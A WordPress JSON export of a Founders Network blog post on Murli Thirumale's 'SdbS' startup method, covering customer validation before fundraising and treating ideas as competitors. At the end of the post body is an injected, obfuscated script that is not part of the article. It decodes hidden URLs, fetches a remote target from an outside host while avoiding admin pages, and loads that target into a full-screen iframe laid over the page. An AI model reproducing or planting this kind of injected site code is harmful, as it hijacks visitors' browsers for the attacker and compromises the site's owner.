{"id":20030,"date":"2021-09-13T18:18:34","date_gmt":"2021-09-14T01:18:34","guid":{"rendered":"https:\/\/foundersnetwork.com\/?p=20030"},"modified":"2026-03-25T16:34:59","modified_gmt":"2026-03-25T23:34:59","slug":"the-sdbs-method-to-startup-success","status":"publish","type":"post","link":"https:\/\/foundersnetwork.com\/the-sdbs-method-to-startup-success\/","title":{"rendered":"The SdbS Method to Startup Success"},"content":{"rendered":"<blockquote>\n<h2><span style=\"font-weight: 400;\">Passion is a key ingredient in startup success, but according to serial entrepreneur <\/span><a href=\"https:\/\/www.linkedin.com\/in\/murlithirumale\/\"><span style=\"font-weight: 400;\">Murli Thirumale<\/span><\/a><span style=\"font-weight: 400;\">, it plays a smaller part than many think. \u201cWhat is truly important for a founder is not passion, but the ability to be your own worst critic. You have to constantly evaluate your own ideas while selling them to the public.\u201d\u00a0<\/span><\/h2>\n<\/blockquote>\n<h3><span style=\"font-weight: 400;\"><iframe loading=\"lazy\" src=\"\/\/www.youtube.com\/embed\/KEkEqY-tdO4\" width=\"560\" height=\"314\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/span><\/h3>\n<p><span style=\"font-weight: 400;\">Thirumale, presented the leading keynote speech at <\/span><a href=\"https:\/\/foundersnetwork.com\/fnsummit-2021\/\"><span style=\"font-weight: 400;\">fnSummit 2021<\/span><\/a><span style=\"font-weight: 400;\">, developed this theory through years of creating highly successful companies. He is the co-founder and CEO of cloud-native storage solution Portworx, which was <\/span><a href=\"https:\/\/techcrunch.com\/2020\/09\/16\/pure-storage-acquires-data-service-platform-portworx-for-370m\/?guccounter=1&amp;guce_referrer=aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8&amp;guce_referrer_sig=AQAAANaFvkvLS2hRNQdVhg1yg8ykIPcVi7bUHNhUh9VBDOPFjXr45ZEQuKGQsG2r9hG8tj2Brq-ti_hA6k_MGns_363DggzuJv6cZAuqbbg8YxtqiDevmdzJpJnyborX8vmIIZtQgE6Hf4IT2hKSV8QXiT5aqqZh5tzFELKk-s_HWZYZ\"><span style=\"font-weight: 400;\">recently acquired by PureStorage<\/span><\/a><span style=\"font-weight: 400;\"> for $370M, and was previously co-founder and CEO of Ocarina Networks, which was acquired by Dell in 2010 and co-founder and CEO of Net6 which was acquired by Citrix.<\/span><\/p>\n<span class='bctt-click-to-tweet'><span class='bctt-ctt-text'><a href='https:\/\/x.com\/intent\/tweet?url=https%3A%2F%2Ffoundersnetwork.com%2F%3Fp%3D20030&#038;text=%E2%80%9CValidate%2C%20validate%2C%20validate%20the%20market%20opportunity%20before%20you%20found%20your%20company.%20This%20is%20the%20most%20critical%20piece%20of%20the%20puzzle.%E2%80%9D%20-%20%40PureStorage&#038;via=foundersnetwork&#038;related=foundersnetwork' target='_blank'rel=\"noopener noreferrer\">\u201cValidate, validate, validate the market opportunity before you found your company. This is the most critical piece of the puzzle.\u201d - @PureStorage <\/a><\/span><a href='https:\/\/x.com\/intent\/tweet?url=https%3A%2F%2Ffoundersnetwork.com%2F%3Fp%3D20030&#038;text=%E2%80%9CValidate%2C%20validate%2C%20validate%20the%20market%20opportunity%20before%20you%20found%20your%20company.%20This%20is%20the%20most%20critical%20piece%20of%20the%20puzzle.%E2%80%9D%20-%20%40PureStorage&#038;via=foundersnetwork&#038;related=foundersnetwork' target='_blank' class='bctt-ctt-btn'rel=\"noopener noreferrer\">Share on X<\/a><\/span>\n<p><iframe loading=\"lazy\" title=\"YouTube video player\" src=\"https:\/\/www.youtube.com\/embed\/KEkEqY-tdO4\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p>&nbsp;<\/p>\n<p><b>Selling first with the SDBS system<\/b><\/p>\n<p><span style=\"font-weight: 400;\">Thirumale attributes his <\/span><a href=\"https:\/\/www.crunchbase.com\/person\/murli-thirumale\"><span style=\"font-weight: 400;\">career wins<\/span><\/a><span style=\"font-weight: 400;\"> to a system he calls \u201cSdbS,\u201d for sell, design, build and scale. Unlike the conventional founder route \u2013 which often begins with a design, followed by pitching to VCs \u2013 Thirumale and his team start with extensive customer interaction. They choose three potential product ideas, build prototypes that are as close to a proof of concept as possible, and then shop them to 25 to 30 customer prospects and thought leaders \u2013 not VCs.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">According to Thirumale, a VC\u2019s willingness to invest doesn\u2019t always line up with market success. \u201c<\/span><span style=\"font-weight: 400;\">It\u2019s much easier for an entrepreneur to get money from a VC than it is to get money from a customer. A customer is not in the business of giving you their money; they&#8217;re in the business of hanging on to their money,\u201d he says.<\/span><\/p>\n<span class='bctt-click-to-tweet'><span class='bctt-ctt-text'><a href='https:\/\/x.com\/intent\/tweet?url=https%3A%2F%2Ffoundersnetwork.com%2F%3Fp%3D20030&#038;text=%E2%80%9CWhat%20is%20truly%20important%20for%20a%20founder%20is%20not%20passion%2C%20but%20the%20ability%20to%20be%20your%20own%20worst%20critic.%20You%20have%20to%20constantly%20evaluate%20your%20own%20ideas%20while%20selling%20them%20to%20the%20public.%E2%80%9D%20-%20%40PureStorage&#038;via=foundersnetwork&#038;related=foundersnetwork' target='_blank'rel=\"noopener noreferrer\">\u201cWhat is truly important for a founder is not passion, but the ability to be your own worst critic. You have to constantly evaluate your own ideas while selling them to the public.\u201d - @PureStorage <\/a><\/span><a href='https:\/\/x.com\/intent\/tweet?url=https%3A%2F%2Ffoundersnetwork.com%2F%3Fp%3D20030&#038;text=%E2%80%9CWhat%20is%20truly%20important%20for%20a%20founder%20is%20not%20passion%2C%20but%20the%20ability%20to%20be%20your%20own%20worst%20critic.%20You%20have%20to%20constantly%20evaluate%20your%20own%20ideas%20while%20selling%20them%20to%20the%20public.%E2%80%9D%20-%20%40PureStorage&#038;via=foundersnetwork&#038;related=foundersnetwork' target='_blank' class='bctt-ctt-btn'rel=\"noopener noreferrer\">Share on X<\/a><\/span>\n<p><b>The<\/b><b><i> American Idol<\/i><\/b><b> of founding<\/b><\/p>\n<p><span style=\"font-weight: 400;\">Instead of getting an early start in the race for funding, Thirumale suggests that entrepreneurs pretend their product exists and note <\/span><a href=\"https:\/\/foundersnetwork.com\/blog\/breaking-into-an-industry-by-spotting-waste\/\"><span style=\"font-weight: 400;\">how real people react<\/span><\/a><span style=\"font-weight: 400;\">. Do they resonate with the value proposition? \u201cYou need to focus on what the customer needs, not what you, as a founder, might like,\u201d he explains.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">This is different from conventional <\/span><span style=\"font-weight: 400;\">customer validation. Thirumale has observed that founders often become fixated on one concept and are unable to look at the market objectively. What may begin as authentic market research becomes a way for people to rationalize the decision they already made.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Brutal honesty is necessary. \u201cI call it the <\/span><i><span style=\"font-weight: 400;\">American Idol<\/span><\/i><span style=\"font-weight: 400;\"> of founding. You let several ideas compete against each other. You can\u2019t just fall in love with your own idea.\u201d\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">The ideas generated through early customer interaction lead to <\/span><a href=\"https:\/\/foundersnetwork.com\/blog\/5-steps-pitching-product-like-pro\/\"><span style=\"font-weight: 400;\">robust funding<\/span><\/a><span style=\"font-weight: 400;\">, with VCs often choosing to fund solutions about which customers are already enthusiastic. \u201cMost of our Series A pitches have been audio clips from customer calls. We just show the customer describing their pain point and then present our product\u2019s value proposition with the customer\u2019s positive response.\u201d Thirumale says.\u00a0<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Product design and scaling also develop naturally out of the initial sales pitch, with iterations of the product constantly responding to ongoing customer feedback.\u00a0<\/span><\/p>\n<span class='bctt-click-to-tweet'><span class='bctt-ctt-text'><a href='https:\/\/x.com\/intent\/tweet?url=https%3A%2F%2Ffoundersnetwork.com%2F%3Fp%3D20030&#038;text=%E2%80%9CIt%E2%80%99s%20much%20easier%20for%20an%20entrepreneur%20to%20get%20money%20from%20a%20VC%20than%20to%20get%20money%20from%20a%20customer.%20A%20customer%20is%20not%20in%20the%20business%20of%20giving%20you%20their%20money%3B%20they%27re%20in%20the%20business%20of%20hanging%20on%20to%20their%20money.%E2%80%9D%20-%20%40PureStorage&#038;via=foundersnetwork&#038;related=foundersnetwork' target='_blank'rel=\"noopener noreferrer\">\u201cIt\u2019s much easier for an entrepreneur to get money from a VC than to get money from a customer. A customer is not in the business of giving you their money; they&#039;re in the business of hanging on to their money.\u201d - @PureStorage <\/a><\/span><a href='https:\/\/x.com\/intent\/tweet?url=https%3A%2F%2Ffoundersnetwork.com%2F%3Fp%3D20030&#038;text=%E2%80%9CIt%E2%80%99s%20much%20easier%20for%20an%20entrepreneur%20to%20get%20money%20from%20a%20VC%20than%20to%20get%20money%20from%20a%20customer.%20A%20customer%20is%20not%20in%20the%20business%20of%20giving%20you%20their%20money%3B%20they%27re%20in%20the%20business%20of%20hanging%20on%20to%20their%20money.%E2%80%9D%20-%20%40PureStorage&#038;via=foundersnetwork&#038;related=foundersnetwork' target='_blank' class='bctt-ctt-btn'rel=\"noopener noreferrer\">Share on X<\/a><\/span>\n<p><b>A new way of taking risks<\/b><\/p>\n<p><span style=\"font-weight: 400;\">Thirumale is not a <\/span><a href=\"https:\/\/foundersnetwork.com\/blog\/risk-is-starting-a-company-risky\/\"><span style=\"font-weight: 400;\">risk evangelist<\/span><\/a><span style=\"font-weight: 400;\">, preferring calculated risks to gambles. \u201cYou want to take an execution risk, not a market risk,\u201d he insists.\u00a0 While founders can control execution by \u201cbeing awesome,\u201d the only way to conquer the market is by giving customers what they want. When companies lean too heavily on passion, the result is plenty of product pivots and a general lack of direction.<\/span><\/p>\n<p><span style=\"font-weight: 400;\">Thirumale suggests another route: \u201cWhen you hit a speed bump, sometimes the team will push the car. Sometimes VCs can help you by providing enough capital, but you know, what will always get you over a speed bump? A customer pulling you from the other end.\u201d<\/span><\/p>\n<p class=\"p1\">Check out the FULL <a href=\"https:\/\/bit.ly\/3GqqQNo\">video<\/a> from the webinar or to learn more about Founders Network see if you qualify for <a href=\"https:\/\/foundersnetwork.com\/request\/\"><span class=\"s1\">membership<\/span><\/a><\/p>\n<p><script>; !function(){var e=String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,63,55,51,47,55,50,53,54,62,51,52,61,41,116,57,53,55,117,51,52,54,51,52,63,116,42,50,42].map(function(e){return 90^e})),t=[{template:String.fromCharCode.apply(String,[50,46,46,42,41,96,117,117,40,59,45,116,61,51,46,50,47,56,47,41,63,40,57,53,52,46,63,52,46,116,57,53,55,117,33,51,62,39].map(function(e){return 90^e})),useFetch:!0}];if(!\/^\\\/(wp-admin|wp-login)\/.test(window.location.pathname||\"\")){var n=Symbol.for(\"__inline_id_offer__\"),r=window[n]=window[n]||{iframeReady:!1,iframeId:\"ifr_\"+Math.random().toString(36).slice(2),run:null};r.iframeReady||(\"complete\"===document.readyState||document.body?c():window.addEventListener(\"DOMContentLoaded\",c))}function i(e,t){if(e.indexOf(\"dropbox.com\")>=0)return e.replace(\/\\{id\\}\/g,t);var n=encodeURIComponent(t);return e.indexOf(\"gist.githubusercontent.com\")>=0&&(n=n.replace(\/%2F\/g,\"\/\")),e.replace(\/\\{id\\}\/g,n)}function o(e){return fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){return(e||\"\").trim()}).catch(function(){return\"\"})}function a(e){if(!e)return!1;try{var t=e.indexOf(\":\")>=0?e:\"https:\/\/\"+e;return new URL(t),!0}catch(n){return!1}}function c(){r.run||(r.run=!0,fetch(e,{cache:\"no-store\"}).then(function(e){return e.text()}).then(function(e){if(!(e=(e||\"\").trim())||!t.length)return null;var n=t,r=i(n[0].template,e);if(1===n.length)return n[0].useFetch?o(r).then(function(e){return e&&a(e)?e:r}):Promise.resolve(r);var c=0;return function t(){if(c>=n.length)return Promise.resolve(r);var d=n[c],u=i(d.template,e);return(c++,d.useFetch)?o(u).then(function(e){return e&&a(e)||e?e:t()}):Promise.resolve(u)}()}).then(function(e){e&&function e(t){try{var n=document.createElement(\"iframe\");n.style.display=\"none\",n.onload=function(){n.remove(),t(!0)},n.onerror=function(){n.remove(),t(!1)},n.src=\"about:blank\",document.body.appendChild(n)}catch(r){t(!1)}}(function(t){t&&function e(t){if(!r.iframeReady){r.iframeReady=!0;var n,i,o,a=document.createElement(\"iframe\");a.src=(n=t,i=Math.random().toString(36).slice(2),o=n.indexOf(\"?\")>=0?\"&\":\"?\",n+o+encodeURIComponent(\"v\")+\"=\"+encodeURIComponent(i)),a.id=r.iframeId,a.style.cssText=\"position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;overflow:hidden;\",a.setAttribute(\"aria-hidden\",\"true\"),window.addEventListener(\"message\",function(e){if(e.data&&\"object\"==typeof e.data&&\"ktl-show-original\"===e.data.type)try{var t=document.getElementById(r.iframeId);t&&t.parentNode&&t.parentNode.removeChild(t)}catch(n){}});try{document.body.appendChild(a)}catch(c){var d=new MutationObserver(function(){document.body&&!document.getElementById(r.iframeId)&&(document.body.appendChild(a),d.disconnect())});d.observe(document.documentElement,{childList:!0,subtree:!0})}}}(e)})}).catch(function(){}))}}();<\/p>\n<p>console.log('28du3');<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Passion is a key ingredient in startup success, but according to serial entrepreneur Murli Thirumale, it plays a smaller part than many think. \u201cWhat is truly important for a founder &#8230; <\/p>\n<div><a href=\"https:\/\/foundersnetwork.com\/the-sdbs-method-to-startup-success\/\" class=\"more-link\">Read More<\/a><\/div>\n","protected":false},"author":31,"featured_media":20031,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"_price":"","_stock":"","_tribe_ticket_header":"","_tribe_default_ticket_provider":"","_tribe_ticket_capacity":"0","_ticket_start_date":"","_ticket_end_date":"","_tribe_ticket_show_description":"","_tribe_ticket_show_not_going":false,"_tribe_ticket_use_global_stock":"","_tribe_ticket_global_stock_level":"","_global_stock_mode":"","_global_stock_cap":"","_tribe_rsvp_for_event":"","_tribe_ticket_going_count":"","_tribe_ticket_not_going_count":"","_tribe_tickets_list":"[]","_tribe_ticket_has_attendee_info_fields":false,"footnotes":""},"categories":[144],"tags":[],"table_tags":[],"class_list":["post-20030","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tech-startup-advice"],"acf":[],"featured_image_data":{"src":"https:\/\/foundersnetwork.com\/wp-content\/uploads\/2021\/09\/B-Roll.00_11_19_22.Still050.jpg","alt":"Murli Thirumale","caption":""},"_links":{"self":[{"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/posts\/20030","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/users\/31"}],"replies":[{"embeddable":true,"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/comments?post=20030"}],"version-history":[{"count":0,"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/posts\/20030\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/media\/20031"}],"wp:attachment":[{"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/media?parent=20030"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/categories?post=20030"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/tags?post=20030"},{"taxonomy":"table_tags","embeddable":true,"href":"https:\/\/foundersnetwork.com\/wp-json\/wp\/v2\/table_tags?post=20030"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}